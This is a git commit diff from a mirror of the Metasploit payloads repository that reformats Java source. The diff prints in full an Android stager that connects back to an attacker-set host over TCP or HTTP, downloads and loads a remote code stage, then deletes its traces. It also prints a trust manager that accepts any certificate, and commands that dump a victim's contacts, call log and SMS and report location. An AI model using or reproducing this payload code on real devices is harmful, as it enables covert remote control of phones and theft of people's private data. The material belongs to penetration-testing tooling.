mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-04-06 01:16:37 +02:00
format all code with the default intellij java formatter
This commit is contained in:
parent
3ba13e719a
commit
d1e69b2d43
java
androidpayload
app/src/com/metasploit/stage
library/src
androidpayload/stage
com/metasploit/meterpreter
AndroidMeterpreter.java
android
check_root_android.javadump_calllog_android.javadump_contacts_android.javadump_sms_android.javageolocate_android.javastdapi_fs_file_expand_path_android.javastdapi_sys_config_sysinfo_android.javastdapi_sys_process_get_processes_android.javawebcam_audio_record_android.javawebcam_get_frame_android.javawebcam_list_android.javawebcam_start_android.java
javapayload/src
main/java
com/metasploit/meterpreter
javapayload/stage
metasploit
AESEncryption.javaJMXPayload.javaPayload.javaPayloadServlet.javaPayloadTrustManager.javaRMILoader.javaRMIPayload.java
rmi
test/java
com/metasploit/meterpreter
javapayload/stage
metasploit
meterpreter
debugloader/src/test/java/com/metasploit/meterpreter
meterpreter/src/main/java/com/metasploit/meterpreter
Channel.javaCommandManager.javaExtensionLoader.javaMeterpreter.javaPayloadTrustManager.javaTLVPacket.javaTLVType.java
command
core
stdapi/src/main/java/com/metasploit/meterpreter
DatagramSocketChannel.javaProcessChannel.javaServerSocketChannel.javaSocketChannel.java
stdapi
HashCommand.javaLoader.javachannel_create_stdapi_fs_file.javachannel_create_stdapi_net_tcp_client.javachannel_create_stdapi_net_tcp_server.javachannel_create_stdapi_net_udp_client.javastdapi_fs_chdir.javastdapi_fs_delete_dir.javastdapi_fs_delete_file.javastdapi_fs_file_expand_path.javastdapi_fs_file_expand_path_V1_5.javastdapi_fs_getwd.javastdapi_fs_ls.javastdapi_fs_md5.javastdapi_fs_mkdir.javastdapi_fs_search.javastdapi_fs_separator.javastdapi_fs_sha1.javastdapi_fs_stat.javastdapi_fs_stat_V1_6.javastdapi_net_config_get_interfaces_V1_4.javastdapi_net_config_get_interfaces_V1_6.javastdapi_net_config_get_routes_V1_4.javastdapi_net_socket_tcp_shutdown.javastdapi_net_socket_tcp_shutdown_V1_3.javastdapi_sys_config_getenv.javastdapi_sys_config_getuid.javastdapi_sys_config_sysinfo.javastdapi_sys_process_execute.javastdapi_sys_process_execute_V1_3.javastdapi_sys_process_get_processes.javastdapi_ui_desktop_screenshot_V1_4.javawebcam_audio_record_V1_4.java
@ -3,8 +3,7 @@ package com.metasploit.stage;
|
|||||||
import android.app.Activity;
|
import android.app.Activity;
|
||||||
import android.os.Bundle;
|
import android.os.Bundle;
|
||||||
|
|
||||||
public class MainActivity extends Activity
|
public class MainActivity extends Activity {
|
||||||
{
|
|
||||||
@Override
|
@Override
|
||||||
protected void onCreate(Bundle savedInstanceState) {
|
protected void onCreate(Bundle savedInstanceState) {
|
||||||
super.onCreate(savedInstanceState);
|
super.onCreate(savedInstanceState);
|
||||||
|
@ -19,13 +19,13 @@ import dalvik.system.DexClassLoader;
|
|||||||
|
|
||||||
public class Payload {
|
public class Payload {
|
||||||
|
|
||||||
public static final String LHOST = "XXXX127.0.0.1 ";
|
public static final String LHOST = "XXXX127.0.0.1 ";
|
||||||
public static final String LPORT = "YYYY4444 ";
|
public static final String LPORT = "YYYY4444 ";
|
||||||
public static final String URL = "ZZZZ ";
|
public static final String URL = "ZZZZ ";
|
||||||
public static final String TRIALS = "TTTT ";
|
public static final String TRIALS = "TTTT ";
|
||||||
|
|
||||||
private static final int URI_CHECKSUM_INITJ = 88;
|
private static final int URI_CHECKSUM_INITJ = 88;
|
||||||
private static final String AB = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
private static final String AB = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
||||||
private static final Random rnd = new Random();
|
private static final Random rnd = new Random();
|
||||||
|
|
||||||
private static String[] parameters;
|
private static String[] parameters;
|
||||||
@ -34,151 +34,151 @@ public class Payload {
|
|||||||
startInPath(context.getFilesDir().toString());
|
startInPath(context.getFilesDir().toString());
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void startAsync() {
|
public static void startAsync() {
|
||||||
new Thread() {
|
new Thread() {
|
||||||
@Override
|
@Override
|
||||||
public void run() {
|
public void run() {
|
||||||
// Execute the payload
|
// Execute the payload
|
||||||
Payload.main(null);
|
Payload.main(null);
|
||||||
}
|
}
|
||||||
}.start();
|
}.start();
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void startInPath(String path) {
|
public static void startInPath(String path) {
|
||||||
parameters = new String[] { path };
|
parameters = new String[]{path};
|
||||||
startAsync();
|
startAsync();
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
if (args != null) {
|
if (args != null) {
|
||||||
File currentDir = new File(".");
|
File currentDir = new File(".");
|
||||||
String path = currentDir.getAbsolutePath();
|
String path = currentDir.getAbsolutePath();
|
||||||
parameters = new String[] { path };
|
parameters = new String[]{path};
|
||||||
}
|
}
|
||||||
int nTrials = Integer.parseInt(TRIALS.substring(4).trim());
|
int nTrials = Integer.parseInt(TRIALS.substring(4).trim());
|
||||||
while (!startReverseConn() && nTrials-- > 0) {
|
while (!startReverseConn() && nTrials-- > 0) {
|
||||||
try {
|
try {
|
||||||
Thread.sleep(60000);
|
Thread.sleep(60000);
|
||||||
} catch (InterruptedException e) {
|
} catch (InterruptedException e) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private static boolean startReverseConn() {
|
private static boolean startReverseConn() {
|
||||||
try {
|
try {
|
||||||
if (URL.substring(4).trim().length() == 0) {
|
if (URL.substring(4).trim().length() == 0) {
|
||||||
reverseTCP();
|
reverseTCP();
|
||||||
} else {
|
} else {
|
||||||
reverseHTTP();
|
reverseHTTP();
|
||||||
}
|
}
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private static String randomString(int len) {
|
private static String randomString(int len) {
|
||||||
StringBuilder sb = new StringBuilder(len);
|
StringBuilder sb = new StringBuilder(len);
|
||||||
for (int i = 0; i < len; i++) {
|
for (int i = 0; i < len; i++) {
|
||||||
sb.append(AB.charAt(rnd.nextInt(AB.length())));
|
sb.append(AB.charAt(rnd.nextInt(AB.length())));
|
||||||
}
|
}
|
||||||
return sb.toString();
|
return sb.toString();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static int checksumText(String s) {
|
private static int checksumText(String s) {
|
||||||
int tmp = 0;
|
int tmp = 0;
|
||||||
for (int i = 0; i < s.length(); i++) {
|
for (int i = 0; i < s.length(); i++) {
|
||||||
tmp += (int) s.charAt(i);
|
tmp += (int) s.charAt(i);
|
||||||
}
|
}
|
||||||
return tmp % 0x100;
|
return tmp % 0x100;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static void reverseHTTP() throws Exception {
|
private static void reverseHTTP() throws Exception {
|
||||||
int checksum;
|
int checksum;
|
||||||
String URI;
|
String URI;
|
||||||
HttpURLConnection urlConn;
|
HttpURLConnection urlConn;
|
||||||
String lurl = URL.substring(4).trim();
|
String lurl = URL.substring(4).trim();
|
||||||
|
|
||||||
while (true) {
|
while (true) {
|
||||||
URI = randomString(4);
|
URI = randomString(4);
|
||||||
checksum = checksumText(URI);
|
checksum = checksumText(URI);
|
||||||
if (checksum == URI_CHECKSUM_INITJ)
|
if (checksum == URI_CHECKSUM_INITJ)
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
String FullURI = "/" + URI;
|
String FullURI = "/" + URI;
|
||||||
|
|
||||||
URL url = new URL(lurl + FullURI + "_" + randomString(16));
|
URL url = new URL(lurl + FullURI + "_" + randomString(16));
|
||||||
|
|
||||||
if (lurl.startsWith("https")) {
|
if (lurl.startsWith("https")) {
|
||||||
urlConn = (HttpsURLConnection) url.openConnection();
|
urlConn = (HttpsURLConnection) url.openConnection();
|
||||||
Class.forName("com.metasploit.stage.PayloadTrustManager")
|
Class.forName("com.metasploit.stage.PayloadTrustManager")
|
||||||
.getMethod("useFor", new Class[] { URLConnection.class })
|
.getMethod("useFor", new Class[]{URLConnection.class})
|
||||||
.invoke(null, new Object[] { urlConn });
|
.invoke(null, new Object[]{urlConn});
|
||||||
} else {
|
} else {
|
||||||
urlConn = (HttpURLConnection) url.openConnection();
|
urlConn = (HttpURLConnection) url.openConnection();
|
||||||
}
|
}
|
||||||
|
|
||||||
urlConn.setDoInput(true);
|
urlConn.setDoInput(true);
|
||||||
urlConn.setRequestMethod("GET");
|
urlConn.setRequestMethod("GET");
|
||||||
urlConn.connect();
|
urlConn.connect();
|
||||||
DataInputStream in = new DataInputStream(urlConn.getInputStream());
|
DataInputStream in = new DataInputStream(urlConn.getInputStream());
|
||||||
|
|
||||||
loadStage(in, null, parameters);
|
loadStage(in, null, parameters);
|
||||||
urlConn.disconnect();
|
urlConn.disconnect();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static void reverseTCP() {
|
private static void reverseTCP() {
|
||||||
try {
|
try {
|
||||||
String lhost = LHOST.substring(4).trim();
|
String lhost = LHOST.substring(4).trim();
|
||||||
String lport = LPORT.substring(4).trim();
|
String lport = LPORT.substring(4).trim();
|
||||||
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
|
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
|
||||||
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
||||||
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
||||||
loadStage(in, out, parameters);
|
loadStage(in, out, parameters);
|
||||||
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||||
|
|
||||||
String path = parameters[0];
|
String path = parameters[0];
|
||||||
String filePath = path + File.separatorChar + "payload.jar";
|
String filePath = path + File.separatorChar + "payload.jar";
|
||||||
String dexPath = path + File.separatorChar + "payload.dex";
|
String dexPath = path + File.separatorChar + "payload.dex";
|
||||||
|
|
||||||
// Read the class name
|
// Read the class name
|
||||||
int coreLen = in.readInt();
|
int coreLen = in.readInt();
|
||||||
byte[] core = new byte[coreLen];
|
byte[] core = new byte[coreLen];
|
||||||
in.readFully(core);
|
in.readFully(core);
|
||||||
String classFile = new String(core);
|
String classFile = new String(core);
|
||||||
|
|
||||||
// Read the stage
|
// Read the stage
|
||||||
coreLen = in.readInt();
|
coreLen = in.readInt();
|
||||||
core = new byte[coreLen];
|
core = new byte[coreLen];
|
||||||
in.readFully(core);
|
in.readFully(core);
|
||||||
|
|
||||||
File file = new File(filePath);
|
File file = new File(filePath);
|
||||||
if (!file.exists()) {
|
if (!file.exists()) {
|
||||||
file.createNewFile();
|
file.createNewFile();
|
||||||
}
|
}
|
||||||
FileOutputStream fop = new FileOutputStream(file);
|
FileOutputStream fop = new FileOutputStream(file);
|
||||||
fop.write(core);
|
fop.write(core);
|
||||||
fop.flush();
|
fop.flush();
|
||||||
fop.close();
|
fop.close();
|
||||||
|
|
||||||
// Load the stage
|
// Load the stage
|
||||||
DexClassLoader classLoader = new DexClassLoader(filePath, path, path,
|
DexClassLoader classLoader = new DexClassLoader(filePath, path, path,
|
||||||
Payload.class.getClassLoader());
|
Payload.class.getClassLoader());
|
||||||
Class<?> myClass = classLoader.loadClass(classFile);
|
Class<?> myClass = classLoader.loadClass(classFile);
|
||||||
final Object stage = myClass.newInstance();
|
final Object stage = myClass.newInstance();
|
||||||
file.delete();
|
file.delete();
|
||||||
new File(dexPath).delete();
|
new File(dexPath).delete();
|
||||||
myClass.getMethod(
|
myClass.getMethod(
|
||||||
"start",
|
"start",
|
||||||
new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage,
|
new Class[]{DataInputStream.class, OutputStream.class, String[].class}).invoke(stage,
|
||||||
new Object[] { in, out, parameters });
|
new Object[]{in, out, parameters});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -41,6 +41,7 @@ import javax.net.ssl.SSLContext;
|
|||||||
import javax.net.ssl.SSLSession;
|
import javax.net.ssl.SSLSession;
|
||||||
import javax.net.ssl.TrustManager;
|
import javax.net.ssl.TrustManager;
|
||||||
import javax.net.ssl.X509TrustManager;
|
import javax.net.ssl.X509TrustManager;
|
||||||
|
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -51,39 +52,39 @@ import java.security.cert.X509Certificate;
|
|||||||
*/
|
*/
|
||||||
public class PayloadTrustManager implements X509TrustManager, HostnameVerifier {
|
public class PayloadTrustManager implements X509TrustManager, HostnameVerifier {
|
||||||
|
|
||||||
public X509Certificate[] getAcceptedIssuers() {
|
public X509Certificate[] getAcceptedIssuers() {
|
||||||
// no preferred issuers
|
// no preferred issuers
|
||||||
return new X509Certificate[0];
|
return new X509Certificate[0];
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkClientTrusted(java.security.cert.X509Certificate[] certs,
|
public void checkClientTrusted(java.security.cert.X509Certificate[] certs,
|
||||||
String authType) {
|
String authType) {
|
||||||
// trust everyone
|
// trust everyone
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkServerTrusted(java.security.cert.X509Certificate[] certs,
|
public void checkServerTrusted(java.security.cert.X509Certificate[] certs,
|
||||||
String authType) {
|
String authType) {
|
||||||
// trust everyone
|
// trust everyone
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
// trust everyone
|
// trust everyone
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Called by the {@link Payload} class to modify the given
|
* Called by the {@link Payload} class to modify the given
|
||||||
* {@link URLConnection} so that it uses this trust manager.
|
* {@link URLConnection} so that it uses this trust manager.
|
||||||
*/
|
*/
|
||||||
public static void useFor(URLConnection uc) throws Exception {
|
public static void useFor(URLConnection uc) throws Exception {
|
||||||
if (uc instanceof HttpsURLConnection) {
|
if (uc instanceof HttpsURLConnection) {
|
||||||
HttpsURLConnection huc = ((HttpsURLConnection) uc);
|
HttpsURLConnection huc = ((HttpsURLConnection) uc);
|
||||||
PayloadTrustManager ptm = new PayloadTrustManager();
|
PayloadTrustManager ptm = new PayloadTrustManager();
|
||||||
SSLContext sc = SSLContext.getInstance("SSL");
|
SSLContext sc = SSLContext.getInstance("SSL");
|
||||||
sc.init(null, new TrustManager[] { ptm },
|
sc.init(null, new TrustManager[]{ptm},
|
||||||
new java.security.SecureRandom());
|
new java.security.SecureRandom());
|
||||||
huc.setSSLSocketFactory(sc.getSocketFactory());
|
huc.setSSLSocketFactory(sc.getSocketFactory());
|
||||||
huc.setHostnameVerifier(ptm);
|
huc.setHostnameVerifier(ptm);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -39,7 +39,7 @@ public class Meterpreter implements Stage {
|
|||||||
Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
|
Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
|
||||||
file.delete();
|
file.delete();
|
||||||
new File(dexPath).delete();
|
new File(dexPath).delete();
|
||||||
myClass.getConstructor(new Class[] {
|
myClass.getConstructor(new Class[]{
|
||||||
DataInputStream.class, OutputStream.class, String[].class, boolean.class
|
DataInputStream.class, OutputStream.class, String[].class, boolean.class
|
||||||
}).newInstance(in, out, parameters, false);
|
}).newInstance(in, out, parameters, false);
|
||||||
}
|
}
|
||||||
|
@ -102,7 +102,7 @@ public class AndroidMeterpreter extends Meterpreter {
|
|||||||
@Override
|
@Override
|
||||||
public String[] loadExtension(byte[] data) throws Exception {
|
public String[] loadExtension(byte[] data) throws Exception {
|
||||||
getCommandManager().resetNewCommands();
|
getCommandManager().resetNewCommands();
|
||||||
CommandManager mgr = getCommandManager();
|
CommandManager mgr = getCommandManager();
|
||||||
Loader.cwd = new File(writeableDir);
|
Loader.cwd = new File(writeableDir);
|
||||||
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
|
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
|
||||||
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
|
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
|
||||||
|
@ -14,7 +14,7 @@ public class check_root_android implements Command {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request,
|
public int execute(Meterpreter meterpreter, TLVPacket request,
|
||||||
TLVPacket response) throws Exception {
|
TLVPacket response) throws Exception {
|
||||||
|
|
||||||
response.addOverflow(TLV_TYPE_CHECK_ROOT_BOOL, isRooted());
|
response.addOverflow(TLV_TYPE_CHECK_ROOT_BOOL, isRooted());
|
||||||
|
|
||||||
|
@ -32,7 +32,7 @@ public class dump_calllog_android implements Command {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request,
|
public int execute(Meterpreter meterpreter, TLVPacket request,
|
||||||
TLVPacket response) throws Exception {
|
TLVPacket response) throws Exception {
|
||||||
|
|
||||||
Cursor cur = AndroidMeterpreter.getContext().getContentResolver()
|
Cursor cur = AndroidMeterpreter.getContext().getContentResolver()
|
||||||
.query(CallLog.Calls.CONTENT_URI, null, null, null, null);
|
.query(CallLog.Calls.CONTENT_URI, null, null, null, null);
|
||||||
@ -60,17 +60,17 @@ public class dump_calllog_android implements Command {
|
|||||||
|
|
||||||
int dircode = Integer.parseInt(callType);
|
int dircode = Integer.parseInt(callType);
|
||||||
switch (dircode) {
|
switch (dircode) {
|
||||||
case CallLog.Calls.OUTGOING_TYPE:
|
case CallLog.Calls.OUTGOING_TYPE:
|
||||||
dir = outgoing;
|
dir = outgoing;
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case CallLog.Calls.INCOMING_TYPE:
|
case CallLog.Calls.INCOMING_TYPE:
|
||||||
dir = incoming;
|
dir = incoming;
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case CallLog.Calls.MISSED_TYPE:
|
case CallLog.Calls.MISSED_TYPE:
|
||||||
dir = missed;
|
dir = missed;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
pckt.addOverflow(TLV_TYPE_CALLLOG_TYPE, dir);
|
pckt.addOverflow(TLV_TYPE_CALLLOG_TYPE, dir);
|
||||||
response.addOverflow(TLV_TYPE_CALLLOG_GROUP, pckt);
|
response.addOverflow(TLV_TYPE_CALLLOG_GROUP, pckt);
|
||||||
|
@ -12,81 +12,81 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class dump_contacts_android implements Command {
|
public class dump_contacts_android implements Command {
|
||||||
|
|
||||||
private static final int TLV_EXTENSIONS = 20000;
|
private static final int TLV_EXTENSIONS = 20000;
|
||||||
private static final int TLV_TYPE_CONTACT_GROUP = TLVPacket.TLV_META_TYPE_GROUP
|
private static final int TLV_TYPE_CONTACT_GROUP = TLVPacket.TLV_META_TYPE_GROUP
|
||||||
| (TLV_EXTENSIONS + 9007);
|
| (TLV_EXTENSIONS + 9007);
|
||||||
private static final int TLV_TYPE_CONTACT_NUMBER = TLVPacket.TLV_META_TYPE_STRING
|
private static final int TLV_TYPE_CONTACT_NUMBER = TLVPacket.TLV_META_TYPE_STRING
|
||||||
| (TLV_EXTENSIONS + 9008);
|
| (TLV_EXTENSIONS + 9008);
|
||||||
private static final int TLV_TYPE_CONTACT_EMAIL = TLVPacket.TLV_META_TYPE_STRING
|
private static final int TLV_TYPE_CONTACT_EMAIL = TLVPacket.TLV_META_TYPE_STRING
|
||||||
| (TLV_EXTENSIONS + 9009);
|
| (TLV_EXTENSIONS + 9009);
|
||||||
private static final int TLV_TYPE_CONTACT_NAME = TLVPacket.TLV_META_TYPE_STRING
|
private static final int TLV_TYPE_CONTACT_NAME = TLVPacket.TLV_META_TYPE_STRING
|
||||||
| (TLV_EXTENSIONS + 9010);
|
| (TLV_EXTENSIONS + 9010);
|
||||||
|
|
||||||
private static final String classNameContacts = "android.provider.ContactsContract$Contacts";
|
private static final String classNameContacts = "android.provider.ContactsContract$Contacts";
|
||||||
private static final String classNameData = "android.provider.ContactsContract$Data";
|
private static final String classNameData = "android.provider.ContactsContract$Data";
|
||||||
private static final String classNameEmail = "android.provider.ContactsContract$CommonDataKinds$Email";
|
private static final String classNameEmail = "android.provider.ContactsContract$CommonDataKinds$Email";
|
||||||
private static final String contentUri = "CONTENT_URI";
|
private static final String contentUri = "CONTENT_URI";
|
||||||
private static final String _id = "_id";
|
private static final String _id = "_id";
|
||||||
private static final String displayName = "display_name";
|
private static final String displayName = "display_name";
|
||||||
private static final String contactId = "contact_id";
|
private static final String contactId = "contact_id";
|
||||||
private static final String data1 = "data1";
|
private static final String data1 = "data1";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request,
|
public int execute(Meterpreter meterpreter, TLVPacket request,
|
||||||
TLVPacket response) throws Exception {
|
TLVPacket response) throws Exception {
|
||||||
|
|
||||||
ContentResolver cr = AndroidMeterpreter.getContext()
|
ContentResolver cr = AndroidMeterpreter.getContext()
|
||||||
.getContentResolver();
|
.getContentResolver();
|
||||||
|
|
||||||
if (Integer.parseInt(Build.VERSION.RELEASE.substring(0, 1)) >= 2) {
|
if (Integer.parseInt(Build.VERSION.RELEASE.substring(0, 1)) >= 2) {
|
||||||
|
|
||||||
Uri ContactUri = null, PhoneUri = null, EmailUri = null;
|
Uri ContactUri = null, PhoneUri = null, EmailUri = null;
|
||||||
Class<?> c = Class.forName(classNameContacts);
|
Class<?> c = Class.forName(classNameContacts);
|
||||||
ContactUri = (Uri) c.getField(contentUri).get(ContactUri);
|
ContactUri = (Uri) c.getField(contentUri).get(ContactUri);
|
||||||
Cursor cur = cr.query(ContactUri, null, null, null, null);
|
Cursor cur = cr.query(ContactUri, null, null, null, null);
|
||||||
|
|
||||||
if (cur.getCount() > 0) {
|
if (cur.getCount() > 0) {
|
||||||
|
|
||||||
while (cur.moveToNext()) {
|
while (cur.moveToNext()) {
|
||||||
|
|
||||||
TLVPacket pckt = new TLVPacket();
|
TLVPacket pckt = new TLVPacket();
|
||||||
|
|
||||||
String id = cur.getString(cur.getColumnIndex(_id));
|
String id = cur.getString(cur.getColumnIndex(_id));
|
||||||
|
|
||||||
pckt.addOverflow(TLV_TYPE_CONTACT_NAME,
|
pckt.addOverflow(TLV_TYPE_CONTACT_NAME,
|
||||||
cur.getString(cur.getColumnIndex(displayName)));
|
cur.getString(cur.getColumnIndex(displayName)));
|
||||||
|
|
||||||
c = Class.forName(classNameData);
|
c = Class.forName(classNameData);
|
||||||
PhoneUri = (Uri) c.getField(contentUri).get(PhoneUri);
|
PhoneUri = (Uri) c.getField(contentUri).get(PhoneUri);
|
||||||
Cursor pCur = cr.query(PhoneUri, null, contactId + " = ?",
|
Cursor pCur = cr.query(PhoneUri, null, contactId + " = ?",
|
||||||
new String[] { id }, null);
|
new String[]{id}, null);
|
||||||
|
|
||||||
while (pCur.moveToNext()) {
|
while (pCur.moveToNext()) {
|
||||||
pckt.addOverflow(TLV_TYPE_CONTACT_NUMBER,
|
pckt.addOverflow(TLV_TYPE_CONTACT_NUMBER,
|
||||||
pCur.getString(pCur.getColumnIndex(data1)));
|
pCur.getString(pCur.getColumnIndex(data1)));
|
||||||
}
|
}
|
||||||
pCur.close();
|
pCur.close();
|
||||||
|
|
||||||
c = Class.forName(classNameEmail);
|
c = Class.forName(classNameEmail);
|
||||||
EmailUri = (Uri) c.getField(contentUri).get(EmailUri);
|
EmailUri = (Uri) c.getField(contentUri).get(EmailUri);
|
||||||
Cursor emailCur = cr.query(EmailUri, null, contactId
|
Cursor emailCur = cr.query(EmailUri, null, contactId
|
||||||
+ " = ?", new String[] { id }, null);
|
+ " = ?", new String[]{id}, null);
|
||||||
|
|
||||||
while (emailCur.moveToNext()) {
|
while (emailCur.moveToNext()) {
|
||||||
pckt.addOverflow(TLV_TYPE_CONTACT_EMAIL, emailCur
|
pckt.addOverflow(TLV_TYPE_CONTACT_EMAIL, emailCur
|
||||||
.getString(emailCur.getColumnIndex(data1)));
|
.getString(emailCur.getColumnIndex(data1)));
|
||||||
}
|
}
|
||||||
emailCur.close();
|
emailCur.close();
|
||||||
|
|
||||||
response.addOverflow(TLV_TYPE_CONTACT_GROUP, pckt);
|
response.addOverflow(TLV_TYPE_CONTACT_GROUP, pckt);
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
cur.close();
|
cur.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -33,7 +33,7 @@ public class dump_sms_android implements Command {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request,
|
public int execute(Meterpreter meterpreter, TLVPacket request,
|
||||||
TLVPacket response) throws Exception {
|
TLVPacket response) throws Exception {
|
||||||
|
|
||||||
Uri uriSMSURI = Uri.parse(sms);
|
Uri uriSMSURI = Uri.parse(sms);
|
||||||
Cursor cur = AndroidMeterpreter.getContext().getContentResolver()
|
Cursor cur = AndroidMeterpreter.getContext().getContentResolver()
|
||||||
|
@ -19,7 +19,7 @@ public class geolocate_android implements Command {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request,
|
public int execute(Meterpreter meterpreter, TLVPacket request,
|
||||||
TLVPacket response) throws Exception {
|
TLVPacket response) throws Exception {
|
||||||
|
|
||||||
LocationManager locationManager;
|
LocationManager locationManager;
|
||||||
locationManager = (LocationManager) AndroidMeterpreter.getContext()
|
locationManager = (LocationManager) AndroidMeterpreter.getContext()
|
||||||
|
@ -4,7 +4,7 @@ import com.metasploit.meterpreter.stdapi.stdapi_fs_file_expand_path;
|
|||||||
|
|
||||||
public class stdapi_fs_file_expand_path_android extends stdapi_fs_file_expand_path {
|
public class stdapi_fs_file_expand_path_android extends stdapi_fs_file_expand_path {
|
||||||
|
|
||||||
protected String getShellPath() {
|
protected String getShellPath() {
|
||||||
return "sh";
|
return "sh";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -7,13 +7,14 @@ import com.metasploit.meterpreter.TLVPacket;
|
|||||||
import com.metasploit.meterpreter.TLVType;
|
import com.metasploit.meterpreter.TLVType;
|
||||||
import com.metasploit.meterpreter.command.Command;
|
import com.metasploit.meterpreter.command.Command;
|
||||||
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo;
|
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo;
|
||||||
|
|
||||||
import android.os.Build;
|
import android.os.Build;
|
||||||
|
|
||||||
public class stdapi_sys_config_sysinfo_android extends
|
public class stdapi_sys_config_sysinfo_android extends
|
||||||
stdapi_sys_config_sysinfo implements Command {
|
stdapi_sys_config_sysinfo implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request,
|
public int execute(Meterpreter meterpreter, TLVPacket request,
|
||||||
TLVPacket response) throws Exception {
|
TLVPacket response) throws Exception {
|
||||||
|
|
||||||
String androidOS = Build.VERSION.RELEASE;
|
String androidOS = Build.VERSION.RELEASE;
|
||||||
|
|
||||||
|
@ -11,8 +11,8 @@ import java.io.InputStreamReader;
|
|||||||
|
|
||||||
public class stdapi_sys_process_get_processes_android implements Command {
|
public class stdapi_sys_process_get_processes_android implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
Process proc = Runtime.getRuntime().exec(new String[] {
|
Process proc = Runtime.getRuntime().exec(new String[]{
|
||||||
"sh", "-c", "ps 2>/dev/null"
|
"sh", "-c", "ps 2>/dev/null"
|
||||||
});
|
});
|
||||||
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
||||||
@ -39,8 +39,8 @@ public class stdapi_sys_process_get_processes_android implements Command {
|
|||||||
grp.add(TLVType.TLV_TYPE_USER_NAME, parts[0]);
|
grp.add(TLVType.TLV_TYPE_USER_NAME, parts[0]);
|
||||||
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, parts[parts.length - 1]);
|
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, parts[parts.length - 1]);
|
||||||
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
|
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
|
||||||
|
|
||||||
}
|
}
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
6
java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_audio_record_android.java
6
java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_audio_record_android.java
